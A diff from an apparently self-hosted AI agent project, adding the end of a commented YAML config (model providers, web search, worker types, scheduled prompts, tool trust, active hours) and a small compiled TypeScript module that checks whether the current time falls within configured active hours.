131
+ # api: anthropic-messages
132
+ # api_key: ${ANTHROPIC_API_KEY}
133
+ # models:
134
+ # - id: "claude-sonnet-4-6"
135
+ # context_window: 200000
136
+ # max_tokens: 64000
137
+
138
+ # OpenRouter: access 200+ models with one API key
139
+ # - name: openrouter
140
+ # base_url: https://openrouter.ai/api/v1
141
+ # api_key: ${OPENROUTER_API_KEY}
142
+ # models:
143
+ # - id: "anthropic/claude-sonnet-4-6"
144
+ # context_window: 200000
145
+ # max_tokens: 64000
146
+
147
+ # Google Gemini
148
+ # - name: google
149
+ # base_url: https://generativelanguage.googleapis.com/v1beta/openai
150
+ # api_key: ${GOOGLE_API_KEY}
151
+ # models:
152
+ # - id: "gemini-2.5-flash"
153
+ # context_window: 1048576
154
+ # max_tokens: 65536
155
+
156
+ # Ollama (local or remote)
157
+ # - name: ollama
158
+ # base_url: http://localhost:11434/v1
159
+ # api_key: "ollama"
160
+ # models:
161
+ # - id: "qwen3:32b"
162
+
163
+ # Together AI
164
+ # - name: together
165
+ # base_url: https://api.together.xyz/v1
166
+ # api_key: ${TOGETHER_API_KEY}
167
+ # models:
168
+ # - id: "Qwen/Qwen3-235B-A22B"
169
+
170
+ # ---------------------------------------------------------------------------
171
+ # Tools
172
+ # ---------------------------------------------------------------------------
173
+
174
+ tools:
175
+ # Web search for workers. Set brave_api_key OR searxng_url (not both).
176
+ # If both are set, Brave takes priority.
177
+ # If neither is set, web search is disabled for workers.
178
+ web_search:
179
+ # Option A: Brave Search API. Free tier: 2000 queries/month, no self-hosting.
180
+ # Get a key at https://api.search.brave.com/
181
+ # brave_api_key: "${BRAVE_API_KEY}"
182
+
183
+ # Option B: SearXNG. Self-hosted or public instance, no API key needed.
184
+ searxng_url: "https://searx.be"
185
+
186
+ # fetch_url:
187
+ # timeout_ms: 10000 # default: 10s
188
+
189
+ # files:
190
+ # base_dir: ./data/files # default
191
+
192
+ workers:
193
+ max_concurrent: 3
194
+ # Default model for background workers. Falls back to the first
195
+ # fallback_model, then the primary agent model.
196
+ # model: "opencode/minimax-m2.5-free"
197
+
198
+ # Named worker types. The agent selects a type when dispatching to get
199
+ # preset defaults for model, tools, and timeout. Explicit parameters on
200
+ # the dispatch call still override type defaults.
201
+ # The agent can also define new types by editing this file and restarting.
202
+ # types:
203
+ # research:
204
+ # description: "Web research and content gathering"
205
+ # model: "opencode/minimax-m2.5-free"
206
+ # tools: [web_search, fetch_url]
207
+ # timeout_seconds: 3600
208
+ # analysis:
209
+ # description: "Deep analysis using a stronger model"
210
+ # model: "anthropic/claude-sonnet-4-6"
211
+ # tools: [fetch_url]
212
+ # timeout_seconds: 1800
213
+
214
+ # ---------------------------------------------------------------------------
215
+ # Integrations (optional)
216
+ #
217
+ # Values here are injected into process.env at startup so extensions can
218
+ # read them without separate .env entries.
219
+ #
220
+ # Convention: integrations.<name>.<key> becomes the env var NAME_KEY (uppercased).
221
+ # Example: integrations.hedgedoc.url → HEDGEDOC_URL
222
+ #
223
+ # Secrets (API keys, tokens) should still use ${VAR} substitution so they
224
+ # stay in .env and out of config.yml.
225
+ # ---------------------------------------------------------------------------
226
+
227
+ # integrations:
228
+ # hedgedoc:
229
+ # url: "http://hedgedoc:3000" # internal Docker network URL
230
+ # public_url: "https://docs.example.com" # user-facing URL for shared links
231
+ #
232
+ # # Any future integration follows the same pattern:
233
+ # # my_service:
234
+ # # url: "https://api.example.com"
235
+ # # api_key: "${MY_SERVICE_API_KEY}" # secret stays in .env
236
+
237
+ # ---------------------------------------------------------------------------
238
+ # Scheduled prompts (optional)
239
+ # ---------------------------------------------------------------------------
240
+
241
+ cron: []
242
+ # - schedule: "0 8 * * *"
243
+ # message: "Good morning! Brief me on anything I need to know today."
244
+ # - schedule: "0 18 * * 1-5"
245
+ # message: "Summarize what we discussed today and update memory with action items."
246
+
247
+ # ---------------------------------------------------------------------------
248
+ # Trust levels (runtime permissions for elevated tools)
249
+ # ---------------------------------------------------------------------------
250
+
251
+ # Extension tools (shell_exec, http_request, etc.) require approval before
252
+ # first use. Pre-approve tools here to skip the permission prompt.
253
+ # trust:
254
+ # approved_tools:
255
+ # - shell_exec
256
+ # - http_request
257
+ # - weather_weert
258
+
259
+ # ---------------------------------------------------------------------------
260
+ # Active hours (optional; limits when the scheduler can send messages)
261
+ # ---------------------------------------------------------------------------
262
+
263
+ # active_hours:
264
+ # start: "08:00"
265
+ # end: "23:00"
@@ -0,0 +1,23 @@
1
+ /**
2
+ * Active hours guard.
3
+ *
4
+ * Determines whether the current time falls within the configured active
5
+ * window so scheduler callbacks skip during quiet hours. Absent config
6
+ * means always active. Overnight windows (start > end) are supported.
7
+ */
8
+ export interface ActiveHoursConfig {
9
+ /** IANA timezone name, e.g. "Europe/Amsterdam". */
10
+ timezone: string;
11
+ /** Start of active window, "HH:MM", inclusive. */
12
+ start: string;
13
+ /** End of active window, "HH:MM", exclusive. */
14
+ end: string;
15
+ }
16
+ /**
17
+ * Return true if the given time (default: now) is within the active window.
18
+ *
19
+ * When cfg is undefined, always returns true (no restriction configured).
20
+ * The optional `now` parameter exists for testing.
21
+ */
22
+ export declare function isActiveNow(cfg: ActiveHoursConfig | undefined, now?: Date): boolean;
23
+ //# sourceMappingURL=active-hours.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"active-hours.d.ts","sourceRoot":"","sources":["../src/active-hours.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,MAAM,WAAW,iBAAiB;IAChC,mDAAmD;IACnD,QAAQ,EAAE,MAAM,CAAC;IACjB,kDAAkD;IAClD,KAAK,EAAE,MAAM,CAAC;IACd,gDAAgD;IAChD,GAAG,EAAE,MAAM,CAAC;CACb;AAqCD;;;;;GAKG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,iBAAiB,GAAG,SAAS,EAAE,GAAG,CAAC,EAAE,IAAI,GAAG,OAAO,CAsBnF"}
@@ -0,0 +1,68 @@
1
+ /**
2
+ * Active hours guard.
3
+ *
4
+ * Determines whether the current time falls within the configured active
5
+ * window so scheduler callbacks skip during quiet hours. Absent config
6
+ * means always active. Overnight windows (start > end) are supported.
7
+ */
8
+ /**
9
+ * Parse "HH:MM" into total minutes since midnight. Returns NaN on bad input.
10
+ */
11
+ function parseHHMM(hhmm) {
12
+ const match = hhmm.match(/^(\d{1,2}):(\d{2})$/);
13
+ if (!match)
14
+ return NaN;
15
+ const h = parseInt(match[1], 10);
16
+ const m = parseInt(match[2], 10);
17
+ if (h > 23 || m > 59)
18
+ return NaN;
19
+ return h * 60 + m;
20
+ }
21
+ /**
22
+ * Get the HH:MM minutes for a given Date in the given IANA timezone.
23
+ * Falls back to UTC on unknown timezone.
24
+ */
25
+ function currentMinutesInZone(timezone, now = new Date()) {
26
+ try {
27
+ const parts = new Intl.DateTimeFormat("en-GB", {
28
+ timeZone: timezone,
29
+ hour: "2-digit",
30
+ minute: "2-digit",
31
+ hour12: false,
32
+ }).formatToParts(now);
33
+ const h = parseInt(parts.find((p) => p.type === "hour")?.value ?? "0", 10);
34
+ const m = parseInt(parts.find((p) => p.type === "minute")?.value ?? "0", 10);
35
+ return h * 60 + m;
36
+ }
37
+ catch {
38
+ // Unknown timezone: fall back to UTC
39
+ console.warn(`[active-hours] Unknown timezone "${timezone}", falling back to UTC`);
40
+ return now.getUTCHours() * 60 + now.getUTCMinutes();
41
+ }
42
+ }
43
+ /**
44
+ * Return true if the given time (default: now) is within the active window.
45
+ *
46
+ * When cfg is undefined, always returns true (no restriction configured).
47
+ * The optional `now` parameter exists for testing.
48
+ */
49
+ export function isActiveNow(cfg, now) {
50
+ if (!cfg)
51
+ return true;
52
+ const startMin = parseHHMM(cfg.start);
53
+ const endMin = parseHHMM(cfg.end);
54
+ if (isNaN(startMin) || isNaN(endMin)) {
55
+ console.warn(`[active-hours] Invalid active_hours config (start="${cfg.start}" end="${cfg.end}"), treating as always active`);
56
+ return true;
57
+ }
58
+ const nowMin = currentMinutesInZone(cfg.timezone, now);
59
+ if (startMin <= endMin) {
60
+ // Normal window: 08:00–23:00
61
+ return nowMin >= startMin && nowMin < endMin;
62
+ }
63
+ else {
64
+ // Overnight window: 22:00–06:00
65
+ return nowMin >= startMin || nowMin < endMin;
66
+ }
67
+ }
68
+ //# sourceMappingURL=active-hours.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"active-hours.js","sourceRoot":"","sources":["../src/active-hours.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAWH;;GAEG;AACH,SAAS,SAAS,CAAC,IAAY;IAC7B,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,qBAAqB,CAAC,CAAC;IAChD,IAAI,CAAC,KAAK;QAAE,OAAO,GAAG,CAAC;IACvB,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IACjC,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IACjC,IAAI,CAAC,GAAG,EAAE,IAAI,CAAC,GAAG,EAAE;QAAE,OAAO,GAAG,CAAC;IACjC,OAAO,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC;AACpB,CAAC;AAED;;;GAGG;AACH,SAAS,oBAAoB,CAAC,QAAgB,EAAE,MAAY,IAAI,IAAI,EAAE;IACpE,IAAI,CAAC;QACH,MAAM,KAAK,GAAG,IAAI,IAAI,CAAC,cAAc,CAAC,OAAO,EAAE;YAC7C,QAAQ,EAAE,QAAQ;YAClB,IAAI,EAAE,SAAS;YACf,MAAM,EAAE,SAAS;YACjB,MAAM,EAAE,KAAK;SACd,CAAC,CAAC,aAAa,CAAC,GAAG,CAAC,CAAC;QAEtB,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,MAAM,CAAC,EAAE,KAAK,IAAI,GAAG,EAAE,EAAE,CAAC,CAAC;QAC3E,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,EAAE,KAAK,IAAI,GAAG,EAAE,EAAE,CAAC,CAAC;QAC7E,OAAO,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC;IACpB,CAAC;IAAC,MAAM,CAAC;QACP,qCAAqC;QACrC,OAAO,CAAC,IAAI,CAAC,oCAAoC,QAAQ,wBAAwB,CAAC,CAAC;QACnF,OAAO,GAAG,CAAC,WAAW,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,aAAa,EAAE,CAAC;IACtD,CAAC;AACH,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,WAAW,CAAC,GAAkC,EAAE,GAAU;IACxE,IAAI,CAAC,GAAG;QAAE,OAAO,IAAI,CAAC;IAEtB,MAAM,QAAQ,GAAG,SAAS,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC;IACtC,MAAM,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;IAElC,IAAI,KAAK,CAAC,QAAQ,CAAC,IAAI,KAAK,CAAC,MAAM,CAAC,EAAE,CAAC;QACrC,OAAO,CAAC,IAAI,CACV,sDAAsD,GAAG,CAAC,KAAK,UAAU,GAAG,CAAC,GAAG,+BAA+B,CAChH,CAAC;QACF,OAAO,IAAI,CAAC;IACd,CAAC;IAED,MAAM,MAAM,GAAG,oBAAoB,CAAC,GAAG,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC;IAEvD,IAAI,QAAQ,IAAI,MAAM,EAAE,CAAC;QACvB,6BAA6B;QAC7B,OAAO,MAAM,IAAI,QAAQ,IAAI,MAAM,GAAG,MAAM,CAAC;IAC/C,CAAC;SAAM,CAAC;QACN,gCAAgC;QAChC,OAAO,MAAM,IAAI,QAAQ,IAAI,MAAM,GAAG,MAAM,CAAC;IAC/C,CAAC;AACH,CAAC"}